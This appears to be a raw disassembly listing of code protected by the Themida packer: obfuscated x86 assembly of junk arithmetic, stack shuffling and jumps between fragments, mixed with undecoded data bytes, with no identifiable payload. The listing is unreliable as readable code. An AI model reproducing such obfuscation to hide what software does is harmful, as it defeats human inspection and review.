		push	6FEAh
		mov	[esp], ebx
		jmp	loc_514BBB
; ---------------------------------------------------------------------------
byte_5123E9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00502A14o
aQhq		db '$Qhï',7,0
		dw 8900h
		dd 50552424h, 4B8h, 0AA4AE900h,	0C4E9FFFFh, 5BFFFF06h
		dd 8EDC166h, 66DDF766h,	377ECD81h, 0FFB303E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512419:				; CODE XREF: Themida_:00504467j
		push	5FEFh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50610A
; ---------------------------------------------------------------------------
		db 66h,	89h, 14h
		dd 421B224h, 66D000B7h,	28B7B353h, 1C8B66D8h, 2C48324h
		dd 4337E9h, 0D0315B00h,	25EF815Ah, 29331933h, 25C781C7h
		dd 0E9331933h, 0FFFF73EAh, 3DFC68h, 24148900h, 0AFE90AB6h
		dd 51FFFFC4h, 0ACE9E189h, 89FFFFCEh, 24348BF7h,	5104C483h
		dd 0FF897CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51248D:				; CODE XREF: Themida_:0050819Dj
		add	edx, 0ED83CB6h
		add	edx, eax
		sub	edx, 0ED83CB6h
		push	ecx
		mov	ecx, 60455969h
		sub	edx, ecx
		pop	ecx
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		db 88h,	0EFh, 59h
		dd 0EC80CEB4h, 125CE965h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5124B6:				; CODE XREF: Themida_:00511227j
		add	ebp, edx
		sub	ebp, 132D3D55h
		mov	edx, [esp]
		sub	esp, 4
		jmp	loc_51750F
; ---------------------------------------------------------------------------
		dd 0E95DE889h, 0FFFF5BB4h
; ---------------------------------------------------------------------------


loc_5124D4:				; CODE XREF: Themida_:005108E6j
		push	ecx
		mov	cl, 0DEh
		push	ebx
		mov	bl, 0F3h
		mov	al, bl
		pop	ebx
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		mov	dh, 0C2h
		xor	dh, al
		jmp	loc_50A875
; ---------------------------------------------------------------------------
		db 0BBh, 3Ch, 0A6h
		dd 0DE31BCBAh, 0FF3D78E9h, 268FFh, 34FF0000h, 0E9565924h
		dd 0FFFFCCD9h, 1E9D830h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512513:				; CODE XREF: Themida_:00512D64j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_517855
; ---------------------------------------------------------------------------


loc_51253B:				; CODE XREF: Themida_:0050A13Dj
		pop	esi
		jmp	loc_509398
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BE243489h, 4B7E751Fh, 44BBEE81h, 0D6F70BB1h, 3C97B951h
		dd 9FE97CA3h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51255F:				; CODE XREF: Themida_:0050AB57j
		add	esp, 2
		xor	al, cl
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	5F3Eh
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_511221
; ---------------------------------------------------------------------------
		db 0BFh
		dd 74067BE5h, 2DFC8CB9h, 5FF901E4h, 5098B9BAh, 355BE91Bh
		dd 0DA010000h, 242C8B5Bh, 4C481h, 14330000h, 24143124h
		dd 8B241433h, 4302424h,	14E99C24h, 89FFFF05h, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 0FF3662E9h, 4EC780FFh, 0E95BFD30h
		dd 0FFFFF421h, 5F2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_513522
; ---------------------------------------------------------------------------


loc_5125E4:				; CODE XREF: Themida_:0051350Aj
		mov	edx, 1
		jmp	loc_50E4FD
; ---------------------------------------------------------------------------


loc_5125EE:				; CODE XREF: Themida_:00507F7Ej
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5135E6
; ---------------------------------------------------------------------------


loc_5125F7:				; CODE XREF: Themida_:0050D087j
		add	ebp, ecx
		pop	ecx
		jmp	loc_50C04A
; ---------------------------------------------------------------------------
		db 1
		dd 4EC83D8h, 0BD242C89h, 2F731130h, 0FFD680E9h,	0F5C181FFh
		dd 293C001Ah, 0F5E981C1h, 583C001Ah, 34FFCD31h,	39C9E924h
		dd 8150FFFFh, 4ECh, 241C8900h, 0D868D388h, 8900003Bh, 0DE882414h
		dd 148BF488h, 4C48324h,	58E7885Bh, 8124148Bh, 4C4h, 37C6E900h
		dd 0C481FFFFh, 4, 0FF1867E9h, 4C483FFh,	0FF5D20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51266D:				; CODE XREF: Themida_:00511931j
		pop	ebp
		sub	ecx, 575DFC9Fh
		add	ecx, 0E4FEF9A0h
		add	ebp, ecx
		jmp	loc_514037
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 1Ch
		dd 58000016h, 58276852h, 0E95A2B12h, 0FFFFCBD5h
; ---------------------------------------------------------------------------


loc_512694:				; CODE XREF: Themida_:00506601j
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		not	ecx
		sub	ecx, 6EA34B5h
		mov	edi, ecx
		pop	ecx
		add	edx, edi
		pop	edi
		jmp	loc_511190
; ---------------------------------------------------------------------------


loc_5126C0:				; CODE XREF: Themida_:00511D17j
		pop	esi
		sub	edx, ebp
		pop	ebp
		add	edx, 6BE3319Dh
		push	ebp
		mov	ebp, 326B6299h
		and	ebp, 2CCE26B2h
		add	ebp, 7CCA5D6Ch
		jmp	loc_50625A
; ---------------------------------------------------------------------------


loc_5126E1:				; CODE XREF: Themida_:0050EFFCj
		push	edi
		jmp	loc_5065F8
; ---------------------------------------------------------------------------
		db 50h
		dd 0D4576D68h, 0FF2D583Bh, 35FFFFFFh, 3BD4576Ah, 8158C389h
		dd 3F14B2EAh, 0B40EE906h, 0C731FFFFh, 14F75758h, 0C7815F24h
		dd 59E529B6h, 0FFCEDBE9h, 4EB83FFh, 5C241C87h, 68240489h
		dd 6A8D0DC4h, 5224048Bh, 0C2815A54h, 4,	8704C283h, 55C2414h
		dd 0E0E7FD50h, 5558C289h, 0FFA546E9h, 0E95551FFh, 0FFFF7519h
; ---------------------------------------------------------------------------


loc_512750:				; CODE XREF: Themida_:005084B2j
		pop	esp
		jmp	loc_506E1D
; ---------------------------------------------------------------------------
		dw 5866h
		dd 0C380C328h, 0CE9584Ch, 55FFFFAFh, 6E046857h,	505F70D4h
		dd 0AA7763B8h, 6B46E910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512776:				; CODE XREF: Themida_:00513284j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 3E1923FCh
		jmp	loc_508439
; ---------------------------------------------------------------------------
		dd 0EEEA8166h, 0D02966CEh, 0FFD06DE9h, 56762DFFh, 565B3B0Bh
		dd 5E64ADBEh, 0E9F0317Ah, 0FFFF53EAh
dword_5127A8	dd 24048B66h, 2034E9h, 0E3895300h, 4B850h, 0EB810000h
					; DATA XREF: Themida_:005029F0o
		dd 228726ECh, 0C381C301h, 228726ECh, 4C38358h, 8904EC83h
		dd 74FF241Ch, 8F5B0424h, 0F3E92404h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5127DF:				; CODE XREF: Themida_:0050E387j
		push	122B5919h
		pop	ecx
		add	ecx, 0EDD4A6EBh
		sub	edx, 6BCD5128h
		add	edx, ecx
		add	edx, 6BCD5128h
		jmp	loc_509D4E
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 3F93E9h
		db 0
; ---------------------------------------------------------------------------


loc_512809:				; CODE XREF: Themida_:00504A5Cj
		shr	ebx, 5
		shl	ebx, 7
		xor	ebx, 38F6AD35h
		mov	ecx, 0CB14D845h
		sub	ecx, ebx
		pop	ebx
		not	ecx
		add	ecx, 852DB2E7h
		xor	esi, ecx
		pop	ecx
		or	esi, 70805F1Ch
		push	edi
		push	eax
		mov	eax, 884D8067h
		jmp	loc_516055
; ---------------------------------------------------------------------------


loc_51283A:				; CODE XREF: Themida_:0050AAD7j
		mov	[esp], ebx
		push	5F0Dh
		jmp	loc_508C7A
; ---------------------------------------------------------------------------
		db 29h
		dd 3175E9F7h, 0E9530000h, 0FFFFE9AAh, 4C681h, 34330000h
		dd 24343124h, 0FF353CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512865:				; CODE XREF: Themida_:00511DA3j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5108A0
; ---------------------------------------------------------------------------


loc_512874:				; CODE XREF: Themida_:005086B4j
		push	eax
		mov	eax, 5D546B00h
		jmp	loc_50AC69
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C105E0C1h, 0BB5305E8h, 254D3B95h, 5008EBC1h, 0C5D62BB8h
		dd 0E9C30107h, 0FFFFB72Bh
; ---------------------------------------------------------------------------


loc_51289C:				; CODE XREF: Themida_:0050D717j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_51526E
; ---------------------------------------------------------------------------
		db 0E9h, 21h, 2
		dd 0DE31FFFFh, 0E9F1295Bh, 0FFFFF93Ch, 4C381h, 0C3810000h
		dd 4, 1B00E9h, 4C28100h, 81000000h, 4C2h, 24148700h, 3B84E95Ch
		dd 0BE560000h, 649C630Ch, 15EF329h, 0CC381F3h, 8B649C63h
		dd 0C4812434h, 4, 31241C33h, 1C33241Ch,	4C36E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512902:				; CODE XREF: Themida_:0050BB77j
		push	ebx
		push	ebx
		jmp	loc_505066
; ---------------------------------------------------------------------------


loc_512909:				; CODE XREF: Themida_:0050E49Fj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_50B446
; ---------------------------------------------------------------------------
		dd 8704E883h, 6EE92404h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512923:				; CODE XREF: Themida_:0051034Bj
		sub	esp, 4
		jmp	loc_502B49
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 3302EE83h, 21E92434h, 5DFFFFC2h, 4C481h, 1D680000h
		dd 89000073h, 0E9552404h, 0FFFFF35Ah, 246C8166h, 66762702h
		dd 0E9240C8Bh, 0FFFF9008h
; ---------------------------------------------------------------------------


loc_512964:				; CODE XREF: Themida_:0050FD20j
		add	eax, 4
		add	eax, 4
		jmp	loc_5159F0
; ---------------------------------------------------------------------------


loc_512971:				; CODE XREF: Themida_:00505D94j
		mov	[esp], ebx
		mov	ebx, 3F7A0F09h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_505599
; ---------------------------------------------------------------------------
		db 0E9h, 35h, 1
		dd 0C89FFFFh, 1691B924h, 0A6BE497Dh, 0E9EF385Dh, 0FFFF8FA9h
		dd 0ED8AE95Ah, 0C481FFFFh, 4, 0F564E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5129BA:				; CODE XREF: Themida_:005136D2j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_512AD2
; ---------------------------------------------------------------------------
		dd 89242C89h, 4EC81E5h,	89000000h, 4CBE2434h, 503F9068h
		dd 651592B8h, 34C9E914h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5129E2:				; CODE XREF: Themida_:00516B5Fj
		sub	eax, 61B96FB9h
		push	edi
		push	eax
		push	edi
		mov	edi, 27A44B41h
		push	6274h
		mov	[esp], eax
		mov	eax, 44E6BA53h
		add	edi, eax
		pop	eax
		push	edi
		sub	dword ptr [esp], 67BB3C9Ch
		pop	eax
		add	eax, 67BB3C9Ch
		pop	edi
		shr	eax, 5
		xor	eax, 2AA85E1Ch
		jmp	loc_50AEFC
; ---------------------------------------------------------------------------


loc_512A1B:				; CODE XREF: Themida_:00512BB1j
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 2A8514E0h
		jmp	loc_5089E1
; ---------------------------------------------------------------------------
		db 52h
		dd 0FF08BEE9h, 53C2FEFFh, 0FF474CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512A39:				; CODE XREF: Themida_:00517B14j
		add	esi, 4
		add	esi, 4
		jmp	loc_5108CC
; ---------------------------------------------------------------------------


loc_512A4A:				; CODE XREF: Themida_:0050AA3Cj
		mov	eax, 10AC4EAEh
		jmp	loc_509A25
; ---------------------------------------------------------------------------


loc_512A54:				; CODE XREF: Themida_:00503EA9j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_509A16
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8704C583h, 248B242Ch, 41B96824h, 1C890000h, 1C8B5424h
		dd 4C48324h, 0FF4543E9h, 4C383FFh, 5C241C87h, 4C481h, 9D610000h
		dd 4E70E9h
		db 0
; ---------------------------------------------------------------------------


loc_512A91:				; CODE XREF: Themida_:00516046j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5045EF
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0E9C342C5h, 44F3h, 5B67512Dh, 51F80169h, 5B6751B9h
		dd 0B69BE969h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512AB6:				; CODE XREF: Themida_:005143EEj
		add	eax, 56DD3279h
		add	eax, 67CA690Eh
		add	eax, 1D2D4B47h
		mov	esi, [esp]
		jmp	loc_513DCA
; ---------------------------------------------------------------------------


loc_512ACD:				; CODE XREF: Themida_:00517AAEj
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_512AD2:				; CODE XREF: Themida_:005129BFj
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5132B2
; ---------------------------------------------------------------------------
		db 53h
		dd 7657B5BBh, 8BD9213Ah, 0C481241Ch, 4,	78BE5655h, 813B145Fh
		dd 0A26702F6h, 0A1E3E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512B06:				; CODE XREF: Themida_:00508162j
		push	esp
		jmp	loc_515C31
; ---------------------------------------------------------------------------
		dd 4074355Ah, 0C58959FBh, 0FFB123E9h, 92F381FFh, 0E90FD902h
		dd 0FFFFD75Dh, 89240489h, 405E0h, 14E90000h, 81FFFFDCh
		dd 0FE39F7CEh, 6E6C155h, 0FF2DFCE9h, 243C87FFh,	8924248Bh
		dd 0E389241Ch, 4BF57h, 0FB010000h, 4C3835Fh, 2474FF53h
		dd 0A3B7E904h, 0C481FFFFh, 4, 34FF5453h, 241C8B24h, 4C481h
		dd 0C4810000h, 4, 0FF1F7BE9h, 24248BFFh, 0E924048Fh, 0AD8h
; ---------------------------------------------------------------------------


loc_512B8C:				; CODE XREF: Themida_:00517730j
		neg	edi
		inc	edi
		inc	edi
		jmp	loc_504225
; ---------------------------------------------------------------------------


loc_512B95:				; CODE XREF: Themida_:00503F34j
		push	ebx
		mov	ebx, 800h
		mov	eax, ebx
		jmp	loc_50CC5C
; ---------------------------------------------------------------------------


loc_512BA2:				; CODE XREF: Themida_:0050DC93j
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_512A1B
; ---------------------------------------------------------------------------


loc_512BB6:				; CODE XREF: Themida_:00512F7Bj
		push	dword ptr [esp+4]
		jmp	loc_503D86
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 8B24048Fh, 0FF662424h, 0E99C240Ch, 0FFFEFEF7h
		dd 405h, 40500h, 4870000h, 24248B24h, 5C241487h, 81240489h
		dd 51E5242Ch, 478F7D5Dh, 40478140h, 7D5D51E5h, 0E92434FFh
		dd 0FFFF8739h
dword_512C04	dd 41D7E9ACh, 8B2DFFFFh, 0E977C170h, 0FFFFB4FAh
					; DATA XREF: Themida_:00502A78o
; ---------------------------------------------------------------------------


loc_512C14:				; CODE XREF: Themida_:0050D530j
		add	eax, 8A7CE37Fh
		add	ecx, eax
		pop	eax
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	eax, 386D1D2Fh
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		jmp	loc_507AAA
; ---------------------------------------------------------------------------
		dw 0E281h
		dd 58343AE8h, 71BAF281h, 0F2813929h, 31096936h,	4DE9D001h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512C5B:				; CODE XREF: Themida_:00513516j
		pop	ebx
		or	eax, 5E5E1B45h
		inc	eax
		sub	eax, 7E5F7FB2h
		add	eax, edi
		push	edx
		mov	edx, 6A9A4552h
		xchg	ebp, edx
		dec	ebp
		jmp	loc_51785F
; ---------------------------------------------------------------------------
		db 89h
		dd 0CF88241Ch, 1877C88h, 0E9241C8Bh, 0FFFF92FCh
; ---------------------------------------------------------------------------


loc_512C88:				; CODE XREF: Themida_:00507CA6j
		inc	ebp
		shr	ebp, 8
		jmp	loc_50FC79
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 24348700h, 0BCE8E95Ch, 8952FFFFh, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 2434895Ch, 71685E54h, 8900005Bh
		dd 4B82404h, 1000000h, 24048BC6h, 0FF1891E9h, 190BBFFh
		dd 0DF0105B0h, 47CBE95Bh, 8951FFFFh, 4C181E1h, 81000000h
		dd 4C1h, 0DD6AE900h, 0E95AFFFFh, 0FFFF7B68h
; ---------------------------------------------------------------------------


loc_512CFC:				; CODE XREF: Themida_:00503CE8j
		push	695Ch
		mov	[esp], eax
		mov	eax, 2E980ED4h
		jmp	loc_50631E
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 2C9114EDh, 56EC581h,	0E80157A6h, 4C0835Dh, 0FF2CEEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512D25:				; CODE XREF: Themida_:00507C15j
		mov	ebx, [esp]
		jmp	loc_511F78
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0E9510000h, 0FFFFB373h, 0D387DA29h, 57F3815Ah
		dd 29B57BFEh, 7F3FE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512D4E:				; CODE XREF: Themida_:0050D997j
		push	dword ptr [esp]
		mov	esi, [esp]
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_512513
; ---------------------------------------------------------------------------
		db 1, 0EFh, 81h
		dd 98636FC7h, 2434FF10h, 0FF9620E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512D79:				; CODE XREF: Themida_:0050DD00j
		add	ebx, 29924F1h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_51073A
; ---------------------------------------------------------------------------
		dw 2D68h
		dd 0E9000069h, 0FFFF75A2h
; ---------------------------------------------------------------------------


loc_512D94:				; CODE XREF: Themida_:00503AD7j
		sub	bh, 95h
		pop	edx
		sub	bh, ch
		sub	bh, 26h
		add	bh, 0E3h
		jmp	loc_50E969
; ---------------------------------------------------------------------------
		db 1, 0F3h, 5Eh
		dd 8B241C87h, 4012424h,	14E99C24h, 59FFFEFDh, 5C24048Fh
		dd 0FF2AB4E9h, 80E328FFh, 2E96DEBh, 58FFFF43h, 0A0E9C329h
		dd 2CFFFFEDh, 0E1CE99Bh, 0D7890000h, 0E2C1815Ah, 105C23Eh
		dd 0E2E981F9h, 0E905C23Eh, 0FFFF3093h
; ---------------------------------------------------------------------------


loc_512DF0:				; CODE XREF: Themida_:005054DEj
		pop	esp
		xor	al, dh
		mov	edx, [esp]
		jmp	loc_50CB05
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 4EF2E9h
		db 0
byte_512E09	db 66h,	31h, 34h	; DATA XREF: Themida_:00502A00o
		dd 34336624h, 34316624h, 0BC686624h, 73ECE953h,	0C801FFFFh
		dd 24043359h, 33240431h, 14E92404h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512E2F:				; CODE XREF: Themida_:00504FFDj
		pop	edi
		push	7767h
		jmp	loc_511E1F
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 240C8900h, 0EC81D188h,	4, 0FFFE26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512E51:				; CODE XREF: Themida_:00508C13j
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_505345
; ---------------------------------------------------------------------------


loc_512E5E:				; CODE XREF: Themida_:005158D4j
		push	eax
		jmp	loc_5171A7
; ---------------------------------------------------------------------------
aSc_0		db '^éæ%',0
		align 2


loc_512E6A:				; CODE XREF: Themida_:00505E53j
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_50F184
		push	dword ptr [edi+28h]
		push	ecx
		mov	ecx, 5B897DADh
		xor	[esp+4], ecx
		push	dword ptr [esp]
		jmp	loc_5066B3
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0EB1449Eh, 0FFE909E9h, 240C8BFFh, 0FFB63BE9h, 32E953FFh
		dd 81FFFFFEh, 3E357BF3h, 8BD80102h, 0EC83241Ch,	24148904h
		dd 0C2815A54h, 4, 4D6FE9h, 7AE95100h, 81FFFFDAh, 4ECh
		dd 240C8900h, 366D95B9h, 7EC18144h, 0F71759DAh,	50E955D1h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512EE3:				; CODE XREF: Themida_:00503860j
		sub	edx, 6907555h
		xor	edx, 99B43C1Ah
		jmp	loc_502F1F
; ---------------------------------------------------------------------------
		dd 5424248Bh, 5524048Fh, 0FF01E3E9h, 4C481FFh, 0E9000000h
		dd 4AB8h, 1408EA81h, 3C8B5629h,	4C48124h, 0E9000000h, 0FFFEFBABh
		dd 58E70859h, 0E901EF80h, 0FFFF29EFh
; ---------------------------------------------------------------------------


loc_512F2C:				; CODE XREF: Themida_:0051690Bj
		push	ebp
		push	ebx
		mov	ebx, 462A5092h
		xor	ebx, 0C065D61h
		and	ebx, 6D356497h
		not	ebx
		sub	ebx, 66F10E9h
		not	ebx
		sub	ebx, 0F370AC1Bh
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 0BDE04FBh
		jmp	loc_50F4C7
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 8E95804h, 1FFFFA4h, 31FE2DE8h, 875D1DC9h, 0C9E92404h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512F77:				; CODE XREF: Themida_:00506909j
		sub	ecx, 4
		push	ecx
		jmp	loc_512BB6
; ---------------------------------------------------------------------------


loc_512F80:				; CODE XREF: Themida_:00508AA5j
		pop	ebp
		neg	eax
		sub	eax, 5A293E19h
		inc	eax
		push	edi
		jmp	loc_5089B7
; ---------------------------------------------------------------------------


loc_512F8F:				; CODE XREF: Themida_:0050A680j
		add	edx, 4
		jmp	loc_508586
; ---------------------------------------------------------------------------
word_512F9A	dw 34FFh		; DATA XREF: Themida_:005029CCo
		dd 2434FF24h, 0FF72B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512FA5:				; CODE XREF: Themida_:005048F9j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_508774
; ---------------------------------------------------------------------------
		dw 5051h
		dd 0B753FAB4h, 0C8CF80ADh, 0F780D7F6h, 5BFC003Ah, 0FE4BCC80h
		dd 15C480CCh, 1EEFE9h
		db 0
; ---------------------------------------------------------------------------


loc_512FD1:				; CODE XREF: Themida_:00516347j
		mov	ebx, 7D955BFBh
		neg	ebx
		xor	ebx, 3C7E0133h
		sub	ebx, 54DE9796h
		jmp	loc_50A79A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 2
		dd 0E9000000h, 35F4h, 5052CE29h, 8A1D5EB8h, 42F5354Ch
		dd 0F1E94A7Bh, 0B9FFFF5Dh, 0
		dd 0AAE9D101h, 41000005h, 0FFFFE981h, 0BF57FFFFh, 4E944443h
		dd 0C15FF921h, 0C18104E1h, 1, 0B4DDE981h, 0C8010A1Fh, 0FF890BE9h
		dd 0C4835AFFh, 241C3304h, 33241C31h, 7FE9241Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_51304B:				; CODE XREF: Themida_:0050422Dj
		mov	eax, 49367C3Ch
		sub	eax, 0F75956B2h
		add	ecx, eax
		pop	eax
		sub	edi, 118D67FFh
		add	edi, ecx
		add	edi, 118D67FFh
		jmp	loc_509538
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF9372E9h, 0ACCF81FFh, 81128E7Eh, 518001C7h, 5FF831A8h
		dd 48BC629h, 4C48124h, 87000000h, 4E92434h, 89000001h
		dd 4C781E7h, 81000000h,	2C7h, 243C8700h, 0FF08E95Ch, 0E189FFFFh
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 0BB241C89h, 215C790Ch
		dd 50D88950h, 2243481h,	5F5A9605h, 502F781h, 0FF585A96h
		dd 815B2434h, 4C4h, 5FF82900h, 0FF7621E9h, 38B168FFh, 14890000h
		dd 29B76824h, 7E90000h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5130FB:				; CODE XREF: Themida_:00503BD1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_50B1CD
; ---------------------------------------------------------------------------
		db 89h
		dd 6B69E9E9h, 0FF57FFFFh, 0FF042474h, 0E0E92434h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_513127:				; CODE XREF: Themida_:005159BEj
		add	eax, 4
		jmp	loc_5141AB
; ---------------------------------------------------------------------------


loc_513131:				; CODE XREF: Themida_:00504D9Ej
		push	ecx
		mov	cl, 9Ah
		not	cl
		dec	cl
		shr	cl, 8
		jmp	loc_50CDA3
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFF0608h, 5F2434FFh, 0FF3BFCE9h, 0EC8151FFh
		dd 4, 0B6241489h, 21EE8071h, 0F10082B1h, 59C8285Ah, 24148B66h
		dd 0FFFE78E9h, 52E681FFh, 0C1481D2Eh, 0C4E906EEh
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51317F:				; CODE XREF: Themida_:00514BC6j
		sub	ebx, edi
		sub	ebx, 7AD215CFh
		mov	edi, ebx
		pop	ebx
		push	3E83h
		mov	[esp], ecx
		jmp	loc_504AC1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 62E92404h
		db 3Fh,	2 dup(0)
byte_5131A3	db 0ADh			; DATA XREF: Themida_:0050299Co
		dd 26034F2Dh, 52D80121h, 17BA6850h, 0E9581D6Eh,	0FFFF0D8Ch
		dd 64D068h, 241C8900h, 268h, 772D5B00h,	0E96C5968h, 0FFFF7E4Dh
		dd 267868h, 24048900h, 42474FFh, 0FF32A6E9h, 79F181FFh
		dd 29F732B0h, 0D88959CBh, 8BC2895Bh, 0C4812404h, 4, 0E95AD029h
		dd 3353h, 932538B8h, 5F06BB18h,	0C3296317h, 0EBC14358h
		dd 35C38102h, 81678977h, 0E24F7CEBh, 0C3814341h, 0E2592746h
		dd 1C8BDA29h, 58CDE924h, 48FFFFFh, 5A685C24h, 0E9000017h
		dd 0FFFFEF68h
; ---------------------------------------------------------------------------


loc_51323C:				; CODE XREF: Themida_:00504D00j
		pop	ebx
		inc	bh
		push	ecx
		mov	ch, 19h
		sub	ch, 9
		sub	bh, 0E3h
		push	eax
		push	esp
		pop	eax
		jmp	loc_503AC1
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	74FF243Ch, 34FF0424h
		dd 81685F24h, 8900007Dh, 0E6892434h, 266468h, 0E69BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51327E:				; CODE XREF: Themida_:0050C15Ej
		push	esi
		mov	esi, 7CB83308h
		jmp	loc_512776
; ---------------------------------------------------------------------------
		db 68h,	93h, 2Dh
		dd 29E90000h, 8900000Ch, 0E8882404h, 2DD468h, 240C8900h
		dd 0F4E9C588h, 51FFFFE1h, 2B9h,	52B7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5132B2:				; CODE XREF: Themida_:00512ADEj
		sub	ecx, esi
		jmp	loc_506680
; ---------------------------------------------------------------------------


loc_5132B9:				; CODE XREF: Themida_:005134ADj
		mov	dh, ah
		not	dh
		mov	ah, dh
		pop	dx
		not	ah
		shr	ah, 1
		jmp	loc_50F451
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 1A68F1F7h, 0E9000045h, 0FFFF6911h, 4C481h, 0F2E90000h
		dd 57FFFF06h, 9EE9E789h, 8300003Dh, 1C8702C3h, 66645C24h
		dd 0D0E90289h, 68FFFEF7h, 60D5h, 0E9241489h, 0FFFFF239h
		dd 0C8BE0F66h, 1C166866h, 65AE9h, 0E9D52900h, 0FFFF0FB6h
		dd 0EF88D588h, 88595A59h, 4156E9FAh, 0CB280000h, 6641C380h
		dd 80C1B652h, 0F300FBEBh, 66FBC380h, 240C8B5Ah,	81595451h
		dd 4C1h, 4C18100h, 87000000h, 505C240Ch, 0E97EB353h, 0FFFFBCEAh
; ---------------------------------------------------------------------------


